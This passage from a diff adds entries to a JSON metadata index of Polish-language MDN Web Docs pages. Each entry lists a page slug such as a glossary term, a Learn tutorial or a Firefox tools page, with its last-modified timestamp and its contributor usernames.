+ "Dokumentacja_Gecko_DOM/Wprowadzenie": {
+ "modified": "2019-03-23T23:46:08.857Z",
+ "contributors": [
+ "fscholz",
+ "jsx",
+ "AshfaqHossain",
+ "Bedi",
+ "Ptak82",
+ "Diablownik",
+ "Mgjbot",
+ "Takenbot",
+ "Anonymous",
+ "Jan Dudek"
+ ]
+ },
+ "Dostosowanie_aplikacji_XUL_do_Firefoksa_1.5": {
+ "modified": "2019-03-23T23:45:42.063Z",
+ "contributors": [
+ "wbamberg",
+ "Diablownik",
+ "Ptak82",
+ "Bedi"
+ ]
+ },
+ "Dynamiczne_zmiany_interfejsu_użytkownika_bazującego_na_XUL-u": {
+ "modified": "2019-03-23T23:46:45.617Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Bedi"
+ ]
+ },
+ "Firefox_-_potrzeba_wolności": {
+ "modified": "2019-03-23T23:40:17.616Z",
+ "contributors": [
+ "gandalf"
+ ]
+ },
+ "Firefox_3_dla_programistów": {
+ "modified": "2019-03-23T23:59:01.747Z",
+ "contributors": [
+ "Sebastianz",
+ "teoli",
+ "Ptak82",
+ "gandalf",
+ "Flaneur",
+ "Witia",
+ "Mgjbot",
+ "Diablownik",
+ "VooEak",
+ "Bedi",
+ "Szaloony",
+ "Internauta1024A"
+ ]
+ },
+ "Games/Tutorials": {
+ "modified": "2020-03-25T16:16:50.290Z",
+ "contributors": [
+ "Jacqbus"
+ ]
+ },
+ "Games/Tutorials/2D_Breakout_game_pure_JavaScript": {
+ "modified": "2020-03-25T16:00:09.301Z",
+ "contributors": [
+ "Jacqbus",
+ "JoeParrilla"
+ ]
+ },
+ "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Stworz_element_Canvas_i_rysuj_na_nim": {
+ "modified": "2020-03-26T16:17:46.952Z",
+ "contributors": [
+ "Jacqbus"
+ ]
+ },
+ "Games/Tutorials/2D_Breakout_game_pure_JavaScript/odbijanie_od_scian": {
+ "modified": "2020-03-30T18:30:10.443Z",
+ "contributors": [
+ "Jacqbus"
+ ]
+ },
+ "Games/Tutorials/2D_Breakout_game_pure_JavaScript/posusz_pilka": {
+ "modified": "2020-03-30T18:31:36.346Z",
+ "contributors": [
+ "Jacqbus"
+ ]
+ },
+ "Games/Tutorials/2D_Breakout_game_pure_JavaScript/wykrywanie_kolizji": {
+ "modified": "2020-03-30T17:04:11.415Z",
+ "contributors": [
+ "Jacqbus"
+ ]
+ },
+ "Glossary": {
+ "modified": "2020-10-07T11:12:59.105Z",
+ "contributors": [
+ "peterbe",
+ "SphinxKnight",
+ "wbamberg",
+ "asbud",
+ "Jeremie"
+ ]
+ },
+ "Glossary/404": {
+ "modified": "2019-07-15T09:45:26.682Z",
+ "contributors": [
+ "Siudzi"
+ ]
+ },
+ "Glossary/API": {
+ "modified": "2020-12-01T17:59:12.054Z",
+ "contributors": [
+ "jacekk",
+ "Miszau"
+ ]
+ },
+ "Glossary/ASCII": {
+ "modified": "2020-02-10T11:45:57.036Z",
+ "contributors": [
+ "Miszau"
+ ]
+ },
+ "Glossary/Abstrakcja": {
+ "modified": "2019-03-18T21:25:50.244Z",
+ "contributors": [
+ "lukasz-otowski"
+ ]
+ },
+ "Glossary/Accessibility": {
+ "modified": "2019-07-21T11:36:59.438Z",
+ "contributors": [
+ "Siudzi"
+ ]
+ },
+ "Glossary/Accessibility_tree": {
+ "modified": "2020-10-23T07:47:56.918Z",
+ "contributors": [
+ "chrisdavidmills",
+ "SebastianKut"
+ ]
+ },
+ "Glossary/Algorithm": {
+ "modified": "2019-06-22T08:20:29.496Z",
+ "contributors": [
+ "Siudzi",
+ "lukasz-otowski"
+ ]
+ },
+ "Glossary/Argument": {
+ "modified": "2019-04-24T10:13:47.746Z",
+ "contributors": [
+ "Siudzi"
+ ]
+ },
+ "Glossary/Arpanet": {
+ "modified": "2019-06-22T07:37:45.420Z",
+ "contributors": [
+ "Siudzi"
+ ]
+ },
+ "Glossary/Boolean": {
+ "modified": "2020-02-10T12:02:02.854Z",
+ "contributors": [
+ "Miszau"
+ ]
+ },
+ "Glossary/Chrome": {
+ "modified": "2020-01-21T09:14:45.360Z",
+ "contributors": [
+ "Siudzi"
+ ]
+ },
+ "Glossary/Computer_Programming": {
+ "modified": "2019-03-18T21:25:55.882Z",
+ "contributors": [
+ "lukasz-otowski"
+ ]
+ },
+ "Glossary/Cookie": {
+ "modified": "2020-01-21T09:01:23.541Z",
+ "contributors": [
+ "Siudzi"
+ ]
+ },
+ "Glossary/DOM": {
+ "modified": "2019-03-18T21:30:48.136Z",
+ "contributors": [
+ "mitelak"
+ ]
+ },
+ "Glossary/Doctype": {
+ "modified": "2019-05-29T10:35:52.320Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/Firefox_OS": {
+ "modified": "2019-07-15T09:24:31.316Z",
+ "contributors": [
+ "Siudzi"
+ ]
+ },
+ "Glossary/HTML": {
+ "modified": "2019-05-29T11:22:07.074Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/Hipertekst": {
+ "modified": "2019-05-29T12:14:13.625Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/Hoisting": {
+ "modified": "2019-03-23T22:37:11.825Z",
+ "contributors": [
+ "Sousuke",
+ "pkubowicz",
+ "Miras"
+ ]
+ },
+ "Glossary/IETF": {
+ "modified": "2019-05-29T19:39:58.856Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/ISO": {
+ "modified": "2019-05-29T19:52:58.004Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/JavaScript": {
+ "modified": "2019-03-23T22:05:33.853Z",
+ "contributors": [
+ "andrzejkrecicki"
+ ]
+ },
+ "Glossary/Klasa": {
+ "modified": "2019-03-18T21:34:27.829Z",
+ "contributors": [
+ "elipinska"
+ ]
+ },
+ "Glossary/Kryptografia": {
+ "modified": "2020-08-25T20:29:24.011Z",
+ "contributors": [
+ "duduindo",
+ "hencel",
+ "jam1985"
+ ]
+ },
+ "Glossary/Metadata": {
+ "modified": "2019-05-29T20:16:08.939Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/Mozilla_Firefox": {
+ "modified": "2020-05-11T15:04:21.575Z",
+ "contributors": [
+ "Siudzi"
+ ]
+ },
+ "Glossary/Obiekt": {
+ "modified": "2019-03-18T21:34:35.043Z",
+ "contributors": [
+ "elipinska"
+ ]
+ },
+ "Glossary/Przegladarka": {
+ "modified": "2019-05-29T09:55:44.088Z",
+ "contributors": [
+ "DoctorLarva",
+ "JohnnyDevX"
+ ]
+ },
+ "Glossary/Pusty_element": {
+ "modified": "2019-05-29T20:22:35.850Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/SGML": {
+ "modified": "2019-05-29T12:24:44.549Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/Semantyka": {
+ "modified": "2020-06-30T11:00:26.836Z",
+ "contributors": [
+ "krupinskij"
+ ]
+ },
+ "Glossary/Slug": {
+ "modified": "2019-03-18T21:25:57.892Z",
+ "contributors": [
+ "lukasz-otowski"
+ ]
+ },
+ "Glossary/Truthy": {
+ "modified": "2019-03-18T21:46:29.091Z",
+ "contributors": [
+ "bibixx",
+ "asbud"
+ ]
+ },
+ "Glossary/UTF-8": {
+ "modified": "2019-05-22T06:43:15.346Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/W3C": {
+ "modified": "2019-05-29T19:47:35.487Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/WebGL": {
+ "modified": "2019-12-08T09:56:48.779Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Glossary/World_Wide_Web": {
+ "modified": "2019-05-29T12:08:22.052Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Glossary/array": {
+ "modified": "2019-04-24T10:50:16.218Z",
+ "contributors": [
+ "Siudzi"
+ ]
+ },
+ "Glossary/buffer": {
+ "modified": "2019-07-21T11:37:40.003Z",
+ "contributors": [
+ "Siudzi"
+ ]
+ },
+ "Gry": {
+ "modified": "2019-09-09T15:33:17.920Z",
+ "contributors": [
+ "SphinxKnight",
+ "wbamberg",
+ "avllyx",
+ "nikkeh",
+ "pm093"
+ ]
+ },
+ "HTML/HTML5": {
+ "modified": "2019-06-28T04:18:42.824Z",
+ "contributors": [
+ "Moniaesz",
+ "teoli",
+ "Jacob99",
+ "Ptak82",
+ "Teo"
+ ]
+ },
+ "Istotne_błędy_poprawione_w_Firefoksie_3": {
+ "modified": "2019-03-23T23:59:42.353Z",
+ "contributors": [
+ "wbamberg",
+ "SphinxKnight",
+ "teoli",
+ "zarat",
+ "Bedi",
+ "Flaneur",
+ "Mgjbot"
+ ]
+ },
+ "JSON": {
+ "modified": "2019-03-23T23:19:21.999Z",
+ "contributors": [
+ "jpanasiuk"
+ ]
+ },
+ "Learn": {
+ "modified": "2020-07-16T22:43:45.459Z",
+ "contributors": [
+ "SphinxKnight",
+ "xd1010",
+ "ffipe",
+ "svarlamov",
+ "Annie-likes",
+ "Alka",
+ "eLGi",
+ "kscarfone"
+ ]
+ },
+ "Learn/Accessibility": {
+ "modified": "2020-07-16T22:39:59.361Z",
+ "contributors": [
+ "hadleyel"
+ ]
+ },
+ "Learn/Accessibility/What_is_accessibility": {
+ "modified": "2020-07-16T22:40:06.189Z",
+ "contributors": [
+ "rokthe888"
+ ]
+ },
+ "Learn/CSS": {
+ "modified": "2020-07-16T22:25:36.473Z",
+ "contributors": [
+ "dawidciesielski88",
+ "eqvt",
+ "Sabi_K",
+ "krzmaciek",
+ "james028"
+ ]
+ },
+ "Learn/CSS/CSS_layout": {
+ "modified": "2020-07-16T22:26:32.489Z",
+ "contributors": [
+ "chrisdavidmills"
+ ]
+ },
+ "Learn/CSS/CSS_layout/Flexbox": {
+ "modified": "2020-10-15T15:57:16.870Z",
+ "contributors": [
+ "sisel4",
+ "Martiego",
+ "mjankiewicz",
+ "szczepaniakmichal",
+ "swirek-marcin",
+ "IzaS",
+ "kkinnga1"
+ ]
+ },
+ "Learn/CSS/Howto": {
+ "modified": "2020-07-16T22:25:43.200Z",
+ "contributors": [
+ "chrisdavidmills"
+ ]
+ },
+ "Learn/CSS/Howto/Generated_content": {
+ "modified": "2020-07-16T22:25:48.275Z",
+ "contributors": [
+ "chrisdavidmills",
+ "teoli",
+ "Mgjbot",
+ "Delor",
+ "Verruckt",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Ruby",
+ "Witia",
+ "Anonymous"
+ ]
+ },
+ "Learn/Common_questions": {
+ "modified": "2020-07-16T22:35:26.061Z",
+ "contributors": [
+ "optimax",
+ "mat-bi",
+ "stephaniehobson"
+ ]
+ },
+ "Learn/Common_questions/Jak_dziala_Internet": {
+ "modified": "2020-08-13T04:00:30.686Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Learn/Getting_started_with_the_web": {
+ "modified": "2020-08-11T17:21:51.146Z",
+ "contributors": [
+ "DoctorLarva",
+ "ffipe",
+ "bernix",
+ "chrisdavidmills"
+ ]
+ },
+ "Learn/Getting_started_with_the_web/CSS_basics": {
+ "modified": "2020-07-16T22:35:02.326Z",
+ "contributors": [
+ "Sławek",
+ "aninde",
+ "mat-bi",
+ "Krzyku",
+ "ffipe"
+ ]
+ },
+ "Learn/Getting_started_with_the_web/Dealing_with_files": {
+ "modified": "2020-07-16T22:34:36.749Z",
+ "contributors": [
+ "Sławek",
+ "frankopolanin",
+ "mat-bi",
+ "ffipe"
+ ]
+ },
+ "Learn/Getting_started_with_the_web/HTML_basics": {
+ "modified": "2020-12-07T19:00:46.636Z",
+ "contributors": [
+ "lujidzi1",
+ "chrisdavidmills",
+ "Sławek",
+ "arkadiuszejsmont",
+ "ffipe"
+ ]
+ },
+ "Learn/Getting_started_with_the_web/Installing_basic_software": {
+ "modified": "2020-08-12T09:00:52.859Z",
+ "contributors": [
+ "DoctorLarva",
+ "Sławek",
+ "ffipe"
+ ]
+ },
+ "Learn/Getting_started_with_the_web/Jak_dziala_Siec": {
+ "modified": "2020-08-11T19:23:21.916Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Learn/Getting_started_with_the_web/JavaScript_basics": {
+ "modified": "2020-07-16T22:35:13.964Z",
+ "contributors": [
+ "Sławek",
+ "kocielnik",
+ "Iwanek08",
+ "mat-bi",
+ "kosanr2",
+ "tjasinski",
+ "modrym",
+ "kosanr1",
+ "AdrianaOlszak"
+ ]
+ },
+ "Learn/Getting_started_with_the_web/Publishing_your_website": {
+ "modified": "2020-08-03T12:17:14.364Z",
+ "contributors": [
+ "Margo1212"
+ ]
+ },
+ "Learn/Getting_started_with_the_web/What_will_your_website_look_like": {
+ "modified": "2020-08-15T10:22:14.475Z",
+ "contributors": [
+ "DoctorLarva",
+ "Ambuscade",
+ "mateuszsolakk",
+ "fecio",
+ "arkadiuszejsmont",
+ "ffipe",
+ "121ewelina."
+ ]
+ },
+ "Learn/HTML": {
+ "modified": "2020-07-16T22:22:21.979Z",
+ "contributors": [
+ "AleksCreative",
+ "Sabi_K",
+ "vistafan12",
+ "HynekMartin751",
+ "smile121"
+ ]
+ },
+ "Learn/HTML/Howto": {
+ "modified": "2020-07-16T22:22:30.114Z",
+ "contributors": [
+ "chrisdavidmills"
+ ]
+ },
+ "Learn/HTML/Howto/Use_data_attributes": {
+ "modified": "2020-07-16T22:22:36.853Z",
+ "contributors": [
+ "kanapka94",
+ "lotny"
+ ]
+ },
+ "Learn/HTML/Introduction_to_HTML": {
+ "modified": "2020-07-16T22:22:51.535Z",
+ "contributors": [
+ "Bartheus",
+ "Grineee",
+ "mat-bi"
+ ]
+ },
+ "Learn/HTML/Introduction_to_HTML/Getting_started": {
+ "modified": "2020-07-16T22:23:05.148Z",
+ "contributors": [
+ "Ambuscade"
+ ]
+ },
+ "Learn/JavaScript": {
+ "modified": "2020-07-16T22:29:43.131Z",
+ "contributors": [
+ "Sławek",
+ "Iwanek08",
+ "Errorino",
+ "robertgrzonka",
+ "Karol_Zixofred_Kowalewski"
+ ]
+ },
+ "Learn/JavaScript/Asynchronous": {
+ "modified": "2020-12-04T16:35:32.081Z",
+ "contributors": [
+ "chrisdavidmills"
+ ]
+ },
+ "Learn/JavaScript/Asynchronous/Introducing": {
+ "modified": "2020-12-04T16:38:09.013Z",
+ "contributors": [
+ "kkarol012"
+ ]
+ },
+ "Learn/JavaScript/Building_blocks": {
+ "modified": "2020-07-16T22:31:09.926Z",
+ "contributors": [
+ "Iwanek08",
+ "Davvidos"
+ ]
+ },
+ "Learn/JavaScript/Client-side_web_APIs": {
+ "modified": "2020-07-16T22:32:41.416Z",
+ "contributors": [
+ "Jrslw",
+ "gheakoala",
+ "asbud"
+ ]
+ },
+ "Learn/JavaScript/Obiekty": {
+ "modified": "2020-10-10T09:26:19.271Z",
+ "contributors": [
+ "Margo1212",
+ "quart",
+ "malu",
+ "mat-bi"
+ ]
+ },
+ "Learn/JavaScript/Pierwsze_kroki": {
+ "modified": "2020-07-16T22:29:53.878Z",
+ "contributors": [
+ "JWPB",
+ "Davvidos"
+ ]
+ },
+ "Learn/JavaScript/Pierwsze_kroki/A_first_splash": {
+ "modified": "2020-07-16T22:30:20.788Z",
+ "contributors": [
+ "JWPB",
+ "olo936",
+ "mat-bi"
+ ]
+ },
+ "Learn/JavaScript/Pierwsze_kroki/Co_poszlo_nie_tak": {
+ "modified": "2020-07-16T22:30:35.448Z",
+ "contributors": [
+ "mat-bi"
+ ]
+ },
+ "Learn/JavaScript/Pierwsze_kroki/Math": {
+ "modified": "2020-09-03T15:45:26.516Z",
+ "contributors": [
+ "marek-rzepka"
+ ]
+ },
+ "Learn/JavaScript/Pierwsze_kroki/What_is_JavaScript": {
+ "modified": "2020-10-10T09:38:24.622Z",
+ "contributors": [
+ "Margo1212",
+ "Kamieniu",
+ "mat-bi",
+ "asbud",
+ "maciej-w"
+ ]
+ },
+ "Learn/JavaScript/Pierwsze_kroki/Zmienne": {
+ "modified": "2020-09-03T15:16:05.291Z",
+ "contributors": [
+ "marek-rzepka",
+ "Majek",
+ "jakubjaros"
+ ]
+ },
+ "Learn/Server-side": {
+ "modified": "2020-07-16T22:36:00.969Z",
+ "contributors": [
+ "chrisdavidmills"
+ ]
+ },
+ "Learn/Server-side/Django": {
+ "modified": "2020-07-16T22:36:34.472Z",
+ "contributors": [
+ "kruschk"
+ ]
+ },
+ "Learn/Server-side/Express_Nodejs": {
+ "modified": "2020-07-16T22:37:54.234Z",
+ "contributors": [
+ "cs"
+ ]
+ },
+ "Learn/Server-side/Express_Nodejs/Introduction": {
+ "modified": "2020-07-16T22:38:12.120Z",
+ "contributors": [
+ "cs"
+ ]
+ },
+ "Learn/Server-side/Express_Nodejs/Szkolenie_aplikacja_biblioteka": {
+ "modified": "2020-10-13T17:24:53.764Z",
+ "contributors": [
+ "cs"
+ ]
+ },
+ "Learn/Server-side/Express_Nodejs/development_environment": {
+ "modified": "2020-10-13T17:20:42.190Z",
+ "contributors": [
+ "cs"
+ ]
+ },
+ "Learn/Server-side/Express_Nodejs/skeleton_website": {
+ "modified": "2020-10-16T17:05:13.058Z",
+ "contributors": [
+ "cs"
+ ]
+ },
+ "Learn/Tools_and_testing": {
+ "modified": "2020-07-16T22:38:56.487Z",
+ "contributors": [
+ "chrisdavidmills"
+ ]
+ },
+ "Learn/Tools_and_testing/Client-side_JavaScript_frameworks": {
+ "modified": "2020-07-23T12:08:19.939Z",
+ "contributors": [
+ "chrisdavidmills"
+ ]
+ },
+ "Lista_komponentów_XPCOM": {
+ "modified": "2019-01-16T15:43:27.057Z",
+ "contributors": [
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Lokalizacja": {
+ "modified": "2019-03-23T23:54:20.898Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Verruckt",
+ "Bedi",
+ "Ptak82",
+ "Takenbot",
+ "Staszyna",
+ "gandalf"
+ ]
+ },
+ "MDN": {
+ "modified": "2020-02-19T18:16:07.796Z",
+ "contributors": [
+ "jswisher",
+ "SphinxKnight",
+ "wbamberg",
+ "Jeremie",
+ "ijohnnyjohnny",
+ "teoli",
+ "splewako",
+ "Sheppy"
+ ]
+ },
+ "MDN/Contribute": {
+ "modified": "2020-12-07T17:30:11.840Z",
+ "contributors": [
+ "wbamberg",
+ "Mars"
+ ]
+ },
+ "MDN/Contribute/Feedback": {
+ "modified": "2020-09-30T17:52:07.531Z",
+ "contributors": [
+ "chrisdavidmills",
+ "jswisher",
+ "SphinxKnight",
+ "kosanr2",
+ "wbamberg",
+ "AleksCreative",
+ "mwiecza",
+ "Dominik9522"
+ ]
+ },
+ "MDN/Contribute/Getting_started": {
+ "modified": "2020-09-30T17:15:08.485Z",
+ "contributors": [
+ "chrisdavidmills",
+ "wbamberg",
+ "PiotrMuskalski",
+ "zbrestoslavski",
+ "PawlakArtur",
+ "Pooler22",
+ "ziolek666",
+ "Leszek",
+ "Husaria",
+ "jembezmamy",
+ "eswues",
+ "teoli",
+ "splewako",
+ "marin_s"
+ ]
+ },
+ "MDN/Contribute/Howto": {
+ "modified": "2020-12-07T19:29:57.557Z",
+ "contributors": [
+ "wbamberg",
+ "klez"
+ ]
+ },
+ "MDN/Contribute/Howto/Budowa_dany_edycja_artykuł": {
+ "modified": "2019-07-08T06:01:08.333Z",
+ "contributors": [
+ "killaseo",
+ "ffipe",
+ "HeartbliT"
+ ]
+ },
+ "MDN/Contribute/Howto/Create_an_MDN_account": {
+ "modified": "2019-01-16T21:13:56.739Z",
+ "contributors": [
+ "wbamberg",
+ "Anan9492",
+ "kfrejlich",
+ "janciowodnik001"
+ ]
+ },
+ "MDN/Contribute/Howto/Create_and_edit_pages": {
+ "modified": "2020-12-04T02:55:11.340Z",
+ "contributors": [
+ "SphinxKnight",
+ "natusiala88",
+ "tomekgroos"
+ ]
+ },
+ "MDN/Contribute/Howto/Do_a_technical_review": {
+ "modified": "2019-03-23T22:33:16.816Z",
+ "contributors": [
+ "wbamberg",
+ "Freelancer.MK"
+ ]
+ },
+ "MDN/Contribute/Howto/Set_the_summary_for_a_page": {
+ "modified": "2019-03-23T23:06:52.359Z",
+ "contributors": [
+ "wbamberg",
+ "Anonymodous",
+ "mnowy41",
+ "Mlodyemoka",
+ "grunt666",
+ "przemekp1",
+ "jembezmamy"
+ ]
+ },
+ "MDN/Contribute/Howto/Tag": {
+ "modified": "2019-03-23T22:48:19.207Z",
+ "contributors": [
+ "wbamberg",
+ "apawliszak"
+ ]
+ },
+ "MDN/Contribute/Howto/Tag_JavaScript_pages": {
+ "modified": "2019-05-23T16:54:47.884Z",
+ "contributors": [
+ "Azkel"
+ ]
+ },
+ "MDN/Contribute/Localize": {
+ "modified": "2019-01-16T19:49:14.469Z",
+ "contributors": [
+ "wbamberg",
+ "JanLis",
+ "ijohnnyjohnny",
+ "Sheppy"
+ ]
+ },
+ "MDN/Contribute/Localize/Localization_projects": {
+ "modified": "2019-05-03T00:34:42.222Z",
+ "contributors": [
+ "wbamberg",
+ "ijohnnyjohnny"
+ ]
+ },
+ "MDN/Contribute/Localize/Translating_pages": {
+ "modified": "2019-03-23T23:05:57.327Z",
+ "contributors": [
+ "Rail01",
+ "wbamberg",
+ "SzymonDuda",
+ "BogdanMDN",
+ "kubutekf"
+ ]
+ },
+ "MDN/Guidelines": {
+ "modified": "2020-09-30T15:31:06.666Z",
+ "contributors": [
+ "chrisdavidmills",
+ "killaseo",
+ "wbamberg",
+ "Sheppy"
+ ]
+ },
+ "MDN/Guidelines/Style_guide": {
+ "modified": "2020-09-30T15:31:07.174Z",
+ "contributors": [
+ "chrisdavidmills",
+ "jswisher",
+ "killaseo",
+ "wbamberg",
+ "Arti",
+ "grunt666",
+ "Mlodyemoka",
+ "BogdanMDN",
+ "CYGAN"
+ ]
+ },
+ "MDN/Kuma": {
+ "modified": "2019-09-09T15:53:30.248Z",
+ "contributors": [
+ "SphinxKnight",
+ "tjasinski",
+ "wbamberg",
+ "lukaszwch"
+ ]
+ },
+ "MDN/User_guide": {
+ "modified": "2019-01-16T20:46:53.090Z",
+ "contributors": [
+ "wbamberg",
+ "Mlodyemoka"
+ ]
+ },
+ "Moduły_JavaScript": {
+ "modified": "2019-01-16T15:32:24.451Z",
+ "contributors": [
+ "Mgjbot",
+ "Flaneur"
+ ]
+ },
+ "Mozilla": {
+ "modified": "2019-09-25T21:44:44.235Z",
+ "contributors": [
+ "tauruss",
+ "kubutekf",
+ "teoli",
+ "splewako",
+ "ethertank",
+ "ziyunfei"
+ ]
+ },
+ "Mozilla/Add-ons": {
+ "modified": "2019-09-09T13:10:46.200Z",
+ "contributors": [
+ "SphinxKnight",
+ "kogigogi",
+ "katarzyna_oswald",
+ "kubutekf",
+ "hultaj909",
+ "pedro221992",
+ "Agaaaaa",
+ "Dawidpilus2985",
+ "Husaria",
+ "misio1973",
+ "mutaka",
+ "teoli",
+ "splewako",
+ "wbamberg"
+ ]
+ },
+ "Mozilla/Add-ons/WebExtensions": {
+ "modified": "2019-04-13T16:18:49.889Z",
+ "contributors": [
+ "jotes",
+ "angie94007",
+ "rebloor"
+ ]
+ },
+ "Mozilla/Add-ons/WebExtensions/API": {
+ "modified": "2020-05-25T16:21:21.207Z",
+ "contributors": [
+ "rebloor"
+ ]
+ },
+ "Mozilla/Add-ons/WebExtensions/API/privacy": {
+ "modified": "2020-10-15T22:30:04.581Z",
+ "contributors": [
+ "hugojavierduran9"
+ ]
+ },
+ "Mozilla/Add-ons/WebExtensions/Pierwsze_kroki_z_web-ext": {
+ "modified": "2019-03-18T21:02:41.503Z",
+ "contributors": [
+ "marsjaninzmarsa"
+ ]
+ },
+ "Mozilla/Add-ons/WebExtensions/Twój_pierwszy_WebExtension": {
+ "modified": "2020-01-30T19:04:00.302Z",
+ "contributors": [
+ "Sławek",
+ "Waterrail",
+ "oliwier1232",
+ "Ciepcin"
+ ]
+ },
+ "Mozilla/Add-ons/WebExtensions/manifest.json": {
+ "modified": "2020-10-15T21:56:06.471Z",
+ "contributors": [
+ "wbamberg",
+ "andrewtruongmoz"
+ ]
+ },
+ "Mozilla/Add-ons/WebExtensions/manifest.json/description": {
+ "modified": "2020-10-15T21:56:07.961Z",
+ "contributors": [
+ "wbamberg",
+ "Ciepcin"
+ ]
+ },
+ "Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version": {
+ "modified": "2020-10-15T21:56:05.787Z",
+ "contributors": [
+ "wbamberg",
+ "Ciepcin"
+ ]
+ },
+ "Mozilla/Add-ons/WebExtensions/manifest.json/name": {
+ "modified": "2020-10-15T21:56:06.527Z",
+ "contributors": [
+ "wbamberg",
+ "Ciepcin"
+ ]
+ },
+ "Mozilla/Add-ons/WebExtensions/manifest.json/version": {
+ "modified": "2020-10-15T21:56:04.606Z",
+ "contributors": [
+ "wbamberg",
+ "Ciepcin"
+ ]
+ },
+ "Mozilla/Developer_guide": {
+ "modified": "2019-03-23T23:27:32.549Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Nimroot",
+ "kubutekf",
+ "teoli",
+ "splewako",
+ "bskari"
+ ]
+ },
+ "Mozilla/Developer_guide/Source_Code": {
+ "modified": "2020-09-05T18:16:51.377Z",
+ "contributors": [
+ "toi5354",
+ "c0d3rsyc",
+ "chrisdavidmills",
+ "7tm3ktm",
+ "Nimroot",
+ "kubutekf",
+ "teoli",
+ "splewako",
+ "jntesteves"
+ ]
+ },
+ "Mozilla/Developer_guide/mozilla-central": {
+ "modified": "2019-03-23T22:56:22.710Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Maciejkajp_2"
+ ]
+ },
+ "Mozilla/Firefox": {
+ "modified": "2019-09-10T15:00:57.432Z",
+ "contributors": [
+ "SphinxKnight",
+ "wbamberg",
+ "Shadowman0983",
+ "Arekusandoru",
+ "dziubeq",
+ "BogdanMDN",
+ "Danios512",
+ "kubutekf",
+ "teoli",
+ "splewako",
+ "Yecril",
+ "mirekczechxmm",
+ "KesSelL",
+ "Timmi"
+ ]
+ },
+ "Mozilla/Firefox/Releases": {
+ "modified": "2019-03-23T23:27:38.932Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "splewako",
+ "Sheppy"
+ ]
+ },
+ "Mozilla/Firefox/Releases/1.5": {
+ "modified": "2019-03-23T23:51:02.457Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "Flaneur",
+ "Diablownik",
+ "Bedi",
+ "Emo9",
+ "Ptak82",
+ "Mgjbot",
+ "gandalf",
+ "Rudolf",
+ "Takenbot",
+ "DobryCzlowiek",
+ "Zwierz",
+ "Staszyna",
+ "Stanisław",
+ "Marcoos"
+ ]
+ },
+ "Mozilla/Firefox/Releases/2": {
+ "modified": "2019-03-23T23:50:24.068Z",
+ "contributors": [
+ "wbamberg",
+ "Sebastianz",
+ "teoli",
+ "Diablownik",
+ "Bedi",
+ "Mgjbot",
+ "Ptak82",
+ "gandalf",
+ "Filemon",
+ "KrucaFuks"
+ ]
+ },
+ "Mozilla/Firefox/Releases/3": {
+ "modified": "2019-03-23T22:03:01.873Z",
+ "contributors": [
+ "wbamberg",
+ "Sebastianz"
+ ]
+ },
+ "Narzędzia": {
+ "modified": "2020-07-16T22:44:16.950Z",
+ "contributors": [
+ "SphinxKnight",
+ "Katarzyna89",
+ "Arekusandoru",
+ "rolevicz",
+ "kasia725792",
+ "Zioberokr",
+ "Emerson2718",
+ "Bajerka86",
+ "alimar@poczta.onet.pl",
+ "Woren82",
+ "dawisko1",
+ "SCPD",
+ "teoli",
+ "Andrzej.Salata",
+ "Kosia90",
+ "splewako",
+ "mirekczechxmm",
+ "Diablownik",
+ "Ptak82",
+ "Mgjbot",
+ "Andreas Wuest",
+ "Listek",
+ "Dria"
+ ]
+ },
+ "Narzędzia/Browser_Toolbox": {
+ "modified": "2020-07-16T22:35:55.742Z",
+ "contributors": [
+ "Freelancer.MK"
+ ]
+ },
+ "Narzędzia/Debugger": {
+ "modified": "2020-07-16T22:35:05.314Z",
+ "contributors": [
+ "kaiga747",
+ "bassam",
+ "kuba1o3"
+ ]
+ },
+ "Narzędzia/Debugger/How_to": {
+ "modified": "2020-07-16T22:35:08.058Z",
+ "contributors": [
+ "jwhitlock",
+ "wbamberg"
+ ]
+ },
+ "Narzędzia/Page_Inspector": {
+ "modified": "2020-07-16T22:34:28.762Z",
+ "contributors": [
+ "kubutekf",
+ "Mlodyemoka"
+ ]
+ },
+ "Narzędzia/Page_Inspector/How_to": {
+ "modified": "2020-07-16T22:34:31.602Z",
+ "contributors": [
+ "jwhitlock",
+ "sidgan"
+ ]
+ },
+ "Narzędzia/Page_Inspector/How_to/Open_the_Inspector": {
+ "modified": "2020-07-16T22:34:32.873Z",
+ "contributors": [
+ "jwhitlock",
+ "kubutekf",
+ "Mlodyemoka"
+ ]
+ },
+ "Narzędzia/Page_Inspector/Przewodnik_przez_UI": {
+ "modified": "2020-07-16T22:34:49.477Z",
+ "contributors": [
+ "kubutekf"
+ ]
+ },
+ "Narzędzia/Performance": {
+ "modified": "2020-07-16T22:36:13.164Z",
+ "contributors": [
+ "jwhitlock",
+ "wbamberg"
+ ]
+ },
+ "Narzędzia/Performance/Flame_Chart": {
+ "modified": "2020-07-16T22:36:20.612Z",
+ "contributors": [
+ "jwhitlock",
+ "ozzbrain"
+ ]
+ },
+ "Narzędzia/Profiler": {
+ "modified": "2020-07-16T22:35:28.987Z",
+ "contributors": [
+ "iwona1111"
+ ]
+ },
+ "Narzędzia/Storage_Inspector": {
